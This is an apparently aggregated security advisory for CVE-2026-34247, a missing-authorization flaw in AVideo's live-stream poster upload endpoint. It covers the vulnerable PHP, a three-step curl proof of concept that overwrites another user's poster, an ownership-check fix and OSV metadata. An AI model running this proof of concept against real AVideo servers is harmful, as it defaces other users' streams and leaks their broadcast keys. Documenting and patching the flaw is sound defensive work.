CVE-2026-34247: AVideo IDOR Vulnerability

MODERATE
Advisory Identifier: GHSA-g3hj-mf85-679g
CVSS 5.4
CWE-862
Published
Advisory Summary

CVE-2026-34247 is a MODERATE (CVSS 5.4) idor vulnerability (CWE-862: Missing Authorization) affecting AVideo libraries in the Packagist ecosystem. The issue involves idor in uploadposter.php allows any authenticated user to overwrite scheduled live stream posters and trigger false socket notifications. Remediation is available in the latest vendor maintenance releases.

CVE-2026-34247 at a Glance

CVE Identifier CVE-2026-34247
GHSA Identifier GHSA-g3hj-mf85-679g
Severity MODERATE
CVSS v3.1 Base Score 5.4
CWE Classification CWE-862: Missing Authorization
Affected Product AVideo
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 5.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-34247

To remediate this vulnerability, upgrade all affected AVideo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

wwbn/avideo fixed: Latest secure release
Upgrade wwbn/avideo to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for wwbn/avideo

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-34247, inspect your project dependencies for AVideo:

inspect dependencies for wwbn/avideo

Analyze the terminal output to locate any version of AVideo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-862: Missing Authorization, where the product does not perform an authorization check when an actor attempts to access a resource or perform an action. In AVideo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `plugin/Live/uploadPoster.php` endpoint allows any authenticated user to overwrite the poster image for any scheduled live stream by supplying an arbitrary `live_schedule_id`. The endpoint only checks `User::isLogged()` but never verifies that the authenticated user owns the targeted schedule. After overwriting the poster, the endpoint broadcasts a `socketLiveOFFCallback` notification containing the victim's broadcast key and user ID to all connected WebSocket clients. ## Details The vulnerable endpoint at `plugin/Live/uploadPoster.php` accepts a `live_schedule_id` from `$_REQUEST` and uses it to determine poster file paths and trigger socket notifications without ownership validation. **Entry point — attacker-controlled input (line 11-12):** ```php $live_servers_id = intval($_REQUEST['live_servers_id']); $live_schedule_id = intval($_REQUEST['live_schedule_id']); ``` **Insufficient auth check (line 14-17):** ```php if (!User::isLogged()) { $obj->msg = 'You cant edit this file'; die(json_encode($obj)); } ``` This only verifies the user is logged in. There is no check that `User::getId()` matches the schedule owner's `users_id`. **Poster path resolved by ID alone (line 40-42):** ```php $paths = Live_schedule::getPosterPaths($live_schedule_id, 0); $obj->file = str_replace($global['systemRootPath'], '', $paths['path']); $obj->fileThumbs = str_replace($global['systemRootPath'], '', $paths['path_thumbs']); ``` `getPosterPaths()` is a static method that constructs file paths purely from the numeric ID with no authorization. **Attacker's file overwrites victim's poster (line 48):** ```php if (!move_uploaded_file($_FILES['file_data']['tmp_name'], $tmpDestination)) { ``` **Broadcast to all WebSocket clients (line 67-73):** ```php if (!empty($live_schedule_id)) { $ls = new Live_schedule($live_schedule_id); $array = setLiveKey($ls->getKey(), $ls->getLive_servers_id()); $array['users_id'] = $ls->getUsers_id(); $array['stats'] = getStatsNotifications(true); Live::notifySocketStats("socketLiveOFFCallback", $array); } ``` The `Live_schedule` constructor (inherited from `ObjectYPT`) loads data by ID with no auth checks. `Live::notifySocketStats()` calls `sendSocketMessageToAll()` which broadcasts to every connected WebSocket client. **Notably, the parallel endpoints DO have ownership checks:** - `plugin/Live/view/Live_schedule/uploadPoster.php` (line 18-21) checks `$row->getUsers_id() != User::getId()` - `plugin/Live/uploadPoster.json.php` (line 24-27) checks `User::isAdmin() || $row->getUsers_id() == User::getId()` This proves the missing check in `uploadPoster.php` is an oversight, not by-design. ## PoC ```bash # Step 1: Log in as a low-privilege user to get a session cookie curl -c cookies.txt -X POST 'https://target.com/objects/login.json.php' \ -d 'user=attacker@example.com&pass=attackerpassword' # Step 2: Overwrite the poster for live_schedule_id=1 (owned by a different user) curl -b cookies.txt \ -F 'file_data=@malicious.jpg' \ -F 'live_schedule_id=1' \ -F 'live_servers_id=0' \ 'https://target.com/plugin/Live/uploadPoster.php' # Expected: 403 or ownership error # Actual: {} (success) — poster overwritten, socketLiveOFFCallback broadcast sent # Step 3: Verify the poster was replaced curl -o - 'https://target.com/videos/live_schedule_posters/schedule_1.jpg' | file - # Output confirms attacker's image now serves as the victim's poster # The socketLiveOFFCallback broadcast (received by all WebSocket clients) contains: # { "key": "<victim_broadcast_key>", "users_id": <victim_user_id>, "stats": {...} } ``` Schedule IDs are sequential integers and can be enumerated trivially. ## Impact 1. **Content tampering:** Any authenticated user can overwrite poster images on any scheduled live stream. This enables defacement or phishing (e.g., replacing a poster with a malicious redirect image). 2. **False offline notifications:** The `socketLiveOFFCallback` broadcast misleads all connected viewers into thinking the victim's stream went offline, disrupting the victim's audience. 3. **Information disclosure:** The broadcast leaks the victim's `users_id` and broadcast key to all connected WebSocket clients. 4. **Enumerable targets:** Schedule IDs are sequential integers, so an attacker can trivially enumerate and target all scheduled streams. ## Recommended Fix Add an ownership check after the login verification at line 17 in `plugin/Live/uploadPoster.php`: ```php if (!User::isLogged()) { $obj->msg = 'You cant edit this file'; die(json_encode($obj)); } // Add ownership check for scheduled live streams if (!empty($live_schedule_id)) { $ls = new Live_schedule($live_schedule_id); if ($ls->getUsers_id() != User::getId() && !User::isAdmin()) { $obj->msg = 'Not authorized'; die(json_encode($obj)); } } ``` This mirrors the existing authorization pattern already used in `uploadPoster.json.php` (line 24) and `view/Live_schedule/uploadPoster.php` (line 18).

CVE-2026-34247 Affected AVideo Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
wwbn/avideo
Packagist
≤ 26.0

References

Frequently Asked Questions

What is CVE-2026-34247?
CVE-2026-34247 is a security vulnerability in AVideo involving IDOR in uploadPoster.php Allows Any Authenticated User to Overwrite Scheduled Live Stream Posters and Trigger False Socket Notifications under CWE-862: Missing Authorization.
Which AVideo versions are affected?
Affected versions include releases prior to current release patches across affected packages: wwbn/avideo.
What version fixes CVE-2026-34247?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is wwbn/avideo affected?
Yes, wwbn/avideo is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-34247?
CVE-2026-34247 has a CVSS v3.1 base score of 5.4 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N.
What CWE is associated with CVE-2026-34247?
CVE-2026-34247 is classified under CWE-862: Missing Authorization (The product does not perform an authorization check when an actor attempts to access a resource or perform an action.).
How can I check Packagist dependencies for CVE-2026-34247?
Run the dependency tree command: 'inspect dependencies for wwbn/avideo'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-g3hj-mf85-679g",
  "modified" : "2026-03-29T15:41:44Z",
  "published" : "2026-03-29T15:41:44Z",
  "aliases" : [ "CVE-2026-34247" ],
  "summary" : "AVideo: IDOR in uploadPoster.php Allows Any Authenticated User to Overwrite Scheduled Live Stream Posters and Trigger False Socket Notifications",
  "details" : "## Summary\n\nThe `plugin/Live/uploadPoster.php` endpoint allows any authenticated user to overwrite the poster image for any scheduled live stream by supplying an arbitrary `live_schedule_id`. The endpoint only checks `User::isLogged()` but never verifies that the authenticated user owns the targeted schedule. After overwriting the poster, the endpoint broadcasts a `socketLiveOFFCallback` notification containing the victim's broadcast key and user ID to all connected WebSocket clients.\n\n## Details\n\nThe vulnerable endpoint at `plugin/Live/uploadPoster.php` accepts a `live_schedule_id` from `$_REQUEST` and uses it to determine poster file paths and trigger socket notifications without ownership validation.\n\n**Entry point — attacker-controlled input (line 11-12):**\n```php\n$live_servers_id = intval($_REQUEST['live_servers_id']);\n$live_schedule_id = intval($_REQUEST['live_schedule_id']);\n```\n\n**Insufficient auth check (line 14-17):**\n```php\nif (!User::isLogged()) {\n    $obj->msg = 'You cant edit this file';\n    die(json_encode($obj));\n}\n```\n\nThis only verifies the user is logged in. There is no check that `User::getId()` matches the schedule owner's `users_id`.\n\n**Poster path resolved by ID alone (line 40-42):**\n```php\n$paths = Live_schedule::getPosterPaths($live_schedule_id, 0);\n$obj->file = str_replace($global['systemRootPath'], '', $paths['path']);\n$obj->fileThumbs = str_replace($global['systemRootPath'], '', $paths['path_thumbs']);\n```\n\n`getPosterPaths()` is a static method that constructs file paths purely from the numeric ID with no authorization.\n\n**Attacker's file overwrites victim's poster (line 48):**\n```php\nif (!move_uploaded_file($_FILES['file_data']['tmp_name'], $tmpDestination)) {\n```\n\n**Broadcast to all WebSocket clients (line 67-73):**\n```php\nif (!empty($live_schedule_id)) {\n    $ls = new Live_schedule($live_schedule_id);\n    $array = setLiveKey($ls->getKey(), $ls->getLive_servers_id());\n    $array['users_id'] = $ls->getUsers_id();\n    $array['stats'] = getStatsNotifications(true);\n    Live::notifySocketStats(\"socketLiveOFFCallback\", $array);\n}\n```\n\nThe `Live_schedule` constructor (inherited from `ObjectYPT`) loads data by ID with no auth checks. `Live::notifySocketStats()` calls `sendSocketMessageToAll()` which broadcasts to every connected WebSocket client.\n\n**Notably, the parallel endpoints DO have ownership checks:**\n- `plugin/Live/view/Live_schedule/uploadPoster.php` (line 18-21) checks `$row->getUsers_id() != User::getId()`\n- `plugin/Live/uploadPoster.json.php` (line 24-27) checks `User::isAdmin() || $row->getUsers_id() == User::getId()`\n\nThis proves the missing check in `uploadPoster.php` is an oversight, not by-design.\n\n## PoC\n\n```bash\n# Step 1: Log in as a low-privilege user to get a session cookie\ncurl -c cookies.txt -X POST 'https://target.com/objects/login.json.php' \\\n  -d 'user=attacker@example.com&pass=attackerpassword'\n\n# Step 2: Overwrite the poster for live_schedule_id=1 (owned by a different user)\ncurl -b cookies.txt \\\n  -F 'file_data=@malicious.jpg' \\\n  -F 'live_schedule_id=1' \\\n  -F 'live_servers_id=0' \\\n  'https://target.com/plugin/Live/uploadPoster.php'\n\n# Expected: 403 or ownership error\n# Actual: {} (success) — poster overwritten, socketLiveOFFCallback broadcast sent\n\n# Step 3: Verify the poster was replaced\ncurl -o - 'https://target.com/videos/live_schedule_posters/schedule_1.jpg' | file -\n# Output confirms attacker's image now serves as the victim's poster\n\n# The socketLiveOFFCallback broadcast (received by all WebSocket clients) contains:\n# { \"key\": \"<victim_broadcast_key>\", \"users_id\": <victim_user_id>, \"stats\": {...} }\n```\n\nSchedule IDs are sequential integers and can be enumerated trivially.\n\n## Impact\n\n1. **Content tampering:** Any authenticated user can overwrite poster images on any scheduled live stream. This enables defacement or phishing (e.g., replacing a poster with a malicious redirect image).\n2. **False offline notifications:** The `socketLiveOFFCallback` broadcast misleads all connected viewers into thinking the victim's stream went offline, disrupting the victim's audience.\n3. **Information disclosure:** The broadcast leaks the victim's `users_id` and broadcast key to all connected WebSocket clients.\n4. **Enumerable targets:** Schedule IDs are sequential integers, so an attacker can trivially enumerate and target all scheduled streams.\n\n## Recommended Fix\n\nAdd an ownership check after the login verification at line 17 in `plugin/Live/uploadPoster.php`:\n\n```php\nif (!User::isLogged()) {\n    $obj->msg = 'You cant edit this file';\n    die(json_encode($obj));\n}\n\n// Add ownership check for scheduled live streams\nif (!empty($live_schedule_id)) {\n    $ls = new Live_schedule($live_schedule_id);\n    if ($ls->getUsers_id() != User::getId() && !User::isAdmin()) {\n        $obj->msg = 'Not authorized';\n        die(json_encode($obj));\n    }\n}\n```\n\nThis mirrors the existing authorization pattern already used in `uploadPoster.json.php` (line 24) and `view/Live_schedule/uploadPoster.php` (line 18).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "wwbn/avideo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "26.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-g3hj-mf85-679g"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34247"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/commit/5fcb3bdf59f26d65e203cfbc8a685356ba300b60"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/WWBN/AVideo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-862" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-29T15:41:44Z",
    "nvd_published_at" : "2026-03-27T17:16:30Z"
  }
}